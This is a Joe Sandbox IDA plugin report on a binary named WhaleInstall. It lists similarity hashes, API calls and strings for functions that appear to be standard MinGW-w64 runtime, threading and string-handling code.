Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 4e0211392064e71ecfc850d56874bcfdc91c77c095ee6dbb9f06aebe763eab94
Instruction ID: 74adc47cefaf77cd13d2fa03b058d1dd83ad4bbb3da758e4c1c0aa2365b1119d
Opcode Fuzzy Hash: 4e0211392064e71ecfc850d56874bcfdc91c77c095ee6dbb9f06aebe763eab94
Instruction Fuzzy Hash: 5451E823B3A64294EB04FB11D8019B8A350AF54B88FDA4436DD2E43391EFBCE541CB28

Function 00007FF772A78E60 Relevance: 13.6, APIs: 9, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A78DC0: EnterCriticalSection.KERNEL32 ref: 00007FF772A78DE6
Part of subcall function 00007FF772A78DC0: LeaveCriticalSection.KERNEL32 ref: 00007FF772A78E0B

TryEnterCriticalSection.KERNEL32 ref: 00007FF772A78ED7
CloseHandle.KERNEL32 ref: 00007FF772A78F19
CloseHandle.KERNEL32 ref: 00007FF772A78F22
LeaveCriticalSection.KERNEL32 ref: 00007FF772A78F27
DeleteCriticalSection.KERNEL32 ref: 00007FF772A78F37
DeleteCriticalSection.KERNEL32 ref: 00007FF772A78F3C
DeleteCriticalSection.KERNEL32 ref: 00007FF772A78F42
free.MSVCRT ref: 00007FF772A78F47

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$Delete$CloseEnterHandleLeave$free
String ID:
API String ID: 3899327206-0
Opcode ID: 7f113477d7d6454dbbcb40c1b2436e1cf4e969a2a3f94c35e1676589a482856d
Instruction ID: b0713e8ac522ab786cf91636a9637bb096de0445dca9a6fc8c4293bcb18966b0
Opcode Fuzzy Hash: 7f113477d7d6454dbbcb40c1b2436e1cf4e969a2a3f94c35e1676589a482856d
Instruction Fuzzy Hash: D641A023B3454549E751BF25AC00BA96241AF81BB8FCD0232DE3D473D5DEB8D882D724

Function 00007FF772A789D0 Relevance: 13.6, APIs: 9, Instructions: 81COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF772A789FB
CreateSemaphoreA.KERNEL32 ref: 00007FF772A78A2E
CreateSemaphoreA.KERNEL32 ref: 00007FF772A78A44
InitializeCriticalSection.KERNEL32 ref: 00007FF772A78A6C
InitializeCriticalSection.KERNEL32 ref: 00007FF772A78A72
InitializeCriticalSection.KERNEL32 ref: 00007FF772A78A78

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalInitializeSection$CreateSemaphore$calloc
String ID:
API String ID: 2075313795-0
Opcode ID: 0b719d4bab454a0f0ffe6555706a953634a091a57d29a26646316adadb90f604
Instruction ID: 9e45e045c383e2d922dc4090ed93eb5c880a6cec98cd88798dc2a78db71cc932
Opcode Fuzzy Hash: 0b719d4bab454a0f0ffe6555706a953634a091a57d29a26646316adadb90f604
Instruction Fuzzy Hash: 7121D433B3564289FB55BF75A810B796290AF40794F8A8235CE2D073D4EE7C9480D714

Function 00007FF772A6D9D0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF772A6DAEB

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF772A6DA07
Address %p has no image-section, xrefs: 00007FF772A6DA42, 00007FF772A6DB95
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF772A6DB81
VirtualProtect failed with code 0x%x, xrefs: 00007FF772A6DB5E

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 4ec45dcbf971f680957ddc7f2109bc43d2166c0369623d735e0bf7559c08b853
Instruction ID: 0c192815415d133828fc347b14b86683f6c81152e2bccaef56308a1d597ee93d
Opcode Fuzzy Hash: 4ec45dcbf971f680957ddc7f2109bc43d2166c0369623d735e0bf7559c08b853
Instruction Fuzzy Hash: 4A51B373A38A4281EB10AB51E840AB9A760FF44BD8F854131DE2C07765EFBCE551CB68

Function 00007FF772A8135A Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

abort.MSVCRT(?,00007FF772A61406), ref: 00007FF772A812A7
fwrite.MSVCRT ref: 00007FF772A812CC
fwrite.MSVCRT ref: 00007FF772A81316
fputs.MSVCRT ref: 00007FF772A81328
fputc.MSVCRT(?,00007FF772A61406), ref: 00007FF772A8133C

Part of subcall function 00007FF772A6EB80: RtlCaptureContext.KERNEL32 ref: 00007FF772A6EC12
Part of subcall function 00007FF772A6EB80: RtlUnwindEx.KERNEL32 ref: 00007FF772A6EC4F
Part of subcall function 00007FF772A6EB80: abort.MSVCRT ref: 00007FF772A6EC55

Strings

what(): , xrefs: 00007FF772A8130F
terminate called recursively, xrefs: 00007FF772A812C2

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: abortfwrite$CaptureContextUnwindfputcfputs
String ID: what(): $terminate called recursively
API String ID: 918577357-2063472960
Opcode ID: c43d22ab6e37418115f7484c5c37e4e272af77670b1379f8314203b6b28baed6
Instruction ID: d9751dffea77d06652a178c4ceabf1a1e650f08b45d76262bf3bb8f2e7cfc1b0
Opcode Fuzzy Hash: c43d22ab6e37418115f7484c5c37e4e272af77670b1379f8314203b6b28baed6
Instruction Fuzzy Hash: 89217922B3960645FA24BB6698556B9D650EF55B84F910035DE2E0B7E3EEACE400CB31

Function 00007FF772A92D40 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 267stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A92D83
strlen.MSVCRT ref: 00007FF772A92E23

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A92DC6, 00007FF772A92E66, 00007FF772A92F06
basic_string: construction from null is not valid, xrefs: 00007FF772A92F5E, 00007FF772A92FAE, 00007FF772A92FFE

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: 08b468e533a3e6f96cad629c640225b6f88bfb532b6e1966e3b826a29543ed28
Instruction ID: 3045870f038aff2d5a5c1ede1a1e6709575104e6e2dd06a73e548cc4f8767b23
Opcode Fuzzy Hash: 08b468e533a3e6f96cad629c640225b6f88bfb532b6e1966e3b826a29543ed28
Instruction Fuzzy Hash: 7F81B663B39B1581EE25BB1AE8404BDA320EB54FC4B964432DE6C07771EE7CE452CB20

Function 00007FF772A7CA50 Relevance: 12.2, APIs: 8, Instructions: 208synchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 00007FF772A7CAA7

Part of subcall function 00007FF772A7AA90: TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9

TlsGetValue.KERNEL32 ref: 00007FF772A7CACA
WaitForSingleObject.KERNEL32 ref: 00007FF772A7CAF9
CloseHandle.KERNEL32 ref: 00007FF772A7CB12
CloseHandle.KERNEL32 ref: 00007FF772A7CB1D

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: Handle$Close$AllocInformationObjectSingleValueWait
String ID:
API String ID: 1715417316-0
Opcode ID: 04b52015a215de4c1b5847a0563acb3f30c44d9e0166a26ff917aeab21098585
Instruction ID: 4abb929e655517edcce9d2739a1961ade91084531488df318bfbf9b0f7f8b8b0
Opcode Fuzzy Hash: 04b52015a215de4c1b5847a0563acb3f30c44d9e0166a26ff917aeab21098585
Instruction Fuzzy Hash: B3815323A3860380FB50BF259450F799361EF45BA4F864532DE2D463D6EFACE541CB68

Function 00007FF772A79270 Relevance: 10.7, APIs: 7, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A78DC0: EnterCriticalSection.KERNEL32 ref: 00007FF772A78DE6
Part of subcall function 00007FF772A78DC0: LeaveCriticalSection.KERNEL32 ref: 00007FF772A78E0B

TryEnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00007FF772B6C570,?,?,00000000,00007FF772B6C570,?,?), ref: 00007FF772A792E3

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 0f798e7d67af3d7d94ae93f0eea17c44d0dba934fe30889c1213904147aa57a0
Instruction ID: 9cef8188a0d8e816f729a3a6add8cd53014e59a868e779686d6713251e2bdb35
Opcode Fuzzy Hash: 0f798e7d67af3d7d94ae93f0eea17c44d0dba934fe30889c1213904147aa57a0
Instruction Fuzzy Hash: 32919233A38B4386E750BF369440A6AA3A0EB45794F814132DE7D477A5DF7CE505CB24

Function 00007FF772A90600 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 216stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A90629
memcmp.MSVCRT ref: 00007FF772A9064A
memcmp.MSVCRT ref: 00007FF772A906D6
memcmp.MSVCRT ref: 00007FF772A90758

Part of subcall function 00007FF772B2CDD0: strlen.MSVCRT ref: 00007FF772B2CDFC

memcmp.MSVCRT ref: 00007FF772A90801

Strings

basic_string::compare, xrefs: 00007FF772A90684, 00007FF772A9070C, 00007FF772A9078E, 00007FF772A90837, 00007FF772A90850
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772A9068B, 00007FF772A90713, 00007FF772A90795, 00007FF772A9083E, 00007FF772A90857

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: a266e37148adb9e51b2e565b943c4cffc9d70ae2907ca8c077f106759273fbf8
Instruction ID: 14a4e27f9eaffcef8891d7c2fafdcde5a782eeff5094ffed888afefabd32dba9
Opcode Fuzzy Hash: a266e37148adb9e51b2e565b943c4cffc9d70ae2907ca8c077f106759273fbf8
Instruction Fuzzy Hash: C951C453F3999281EF14AB26EC105F49241DF54BE0FA98231DE3C577E1EE9CE982CA10

Function 00007FF772A84AA0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 215stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A84ACA
memcmp.MSVCRT ref: 00007FF772A84AE8
memcmp.MSVCRT ref: 00007FF772A84B76
memcmp.MSVCRT ref: 00007FF772A84BF8

Part of subcall function 00007FF772B2CDD0: strlen.MSVCRT ref: 00007FF772B2CDFC

memcmp.MSVCRT ref: 00007FF772A84CA4

Strings

basic_string::compare, xrefs: 00007FF772A84B22, 00007FF772A84BAC, 00007FF772A84C2E, 00007FF772A84CDA, 00007FF772A84CF3
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF772A84B29, 00007FF772A84BB3, 00007FF772A84C35, 00007FF772A84CE1, 00007FF772A84CFA

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 15d7380d490ee532099806284e74fef47cb695720637cb942acf183e6f23f850
Instruction ID: c621ded389cf5b82fddb9a59060bd5cf737cfe4942ace0d019fb5e50219cd87d
Opcode Fuzzy Hash: 15d7380d490ee532099806284e74fef47cb695720637cb942acf183e6f23f850
Instruction Fuzzy Hash: 9B51F493F38A8645EF11BA26EC046E493809F54BE0F994231DE3C577E1ED9CEA81C720

Function 00007FF772A7BDC0 Relevance: 10.6, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A7AA90: TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9

TlsGetValue.KERNEL32 ref: 00007FF772A7BDD1

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: AllocValue
String ID:
API String ID: 1189806713-0
Opcode ID: cae82a70ffe3b2210f8038f4ef4de784e44294baa5db70fec95e04e5f7ad48ca
Instruction ID: a8cb4d96389f7598f1c0863aea14c83fb44f260b69d64cef64b17af67142e0c0
Opcode Fuzzy Hash: cae82a70ffe3b2210f8038f4ef4de784e44294baa5db70fec95e04e5f7ad48ca
Instruction Fuzzy Hash: DD417063E3E30246FB55776554519B8D2909F54B64F8A0934DE2E063D3EEACA881CF38

Function 00007FF772A79D10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF772A79D50

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A79D12

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CurrentThread
String ID: basic_string: construction from null is not valid
API String ID: 2882836952-2991274800
Opcode ID: 1a69f9672b0810ebc0c1f1ab1e94abaaadb4c5455e77ea74d115718d5791fc82
Instruction ID: 477f1b37378e78a93b3f741c6ef4a8049ca2e18fd5db9a8e0828dbcc296abd6b
Opcode Fuzzy Hash: 1a69f9672b0810ebc0c1f1ab1e94abaaadb4c5455e77ea74d115718d5791fc82
Instruction Fuzzy Hash: 32318323B3960386FB517A34D800F79A194EF40758F994432CD2D863C6FEACE941CA75

Function 00007FF772A7B8D0 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF772A7B8E5

Part of subcall function 00007FF772A7AA90: TlsAlloc.KERNEL32 ref: 00007FF772A7AAC9

TlsGetValue.KERNEL32 ref: 00007FF772A7B8F8
SetLastError.KERNEL32 ref: 00007FF772A7B935

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: ErrorLast$AllocValue
String ID:
API String ID: 290111860-0
Opcode ID: c13c0646938c6fb74946517a6de66bd6ccaa197d692ef4942e7c4a2ec482d0cc
Instruction ID: 7b29cb677db9c210aff4e78b6d4066fb2fb61210c8560510f36eaf07c6bd66d7
Opcode Fuzzy Hash: c13c0646938c6fb74946517a6de66bd6ccaa197d692ef4942e7c4a2ec482d0cc
Instruction Fuzzy Hash: F4310563A3870251EB05BF39941097DA392FF44B84F850831DD2D07396EE7CE841CB64

Function 00007FF772A7BB50 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772A7AB40: TlsGetValue.KERNEL32 ref: 00007FF772A7AC5F

longjmp.MSVCRT ref: 00007FF772A7BB88
TlsGetValue.KERNEL32 ref: 00007FF772A7BB94
CloseHandle.KERNEL32 ref: 00007FF772A7BBBF
_endthreadex.MSVCRT ref: 00007FF772A7BBD3
CloseHandle.KERNEL32 ref: 00007FF772A7BBE3
TlsSetValue.KERNEL32 ref: 00007FF772A7BBFF
CloseHandle.KERNEL32 ref: 00007FF772A7BC12

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CloseHandleValue$_endthreadexlongjmp
String ID:
API String ID: 3990644698-0
Opcode ID: 0afabf41fd8cb4090ba21308345c1134b23ade971d939fc3f6981ba2c1b84b01
Instruction ID: da3816d2a3b92f2405259e2eabea2006f6d5f99a23405d5c75fe17bc432eb005
Opcode Fuzzy Hash: 0afabf41fd8cb4090ba21308345c1134b23ade971d939fc3f6981ba2c1b84b01
Instruction Fuzzy Hash: 59215E6293974282FB54BF60D450738A6A0EF88B58F894435CE1E47395FFBDA841CB24

Function 00007FF772A7DA30 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 52COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A7DAA4
exit.MSVCRT ref: 00007FF772A7DAAE

Strings

(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 00007FF772A7DA93
Assertion failed: (%s), file %s, line %d, xrefs: 00007FF772A7DA9D
(, xrefs: 00007FF772A7DA84
../mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 00007FF772A7DA8C

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

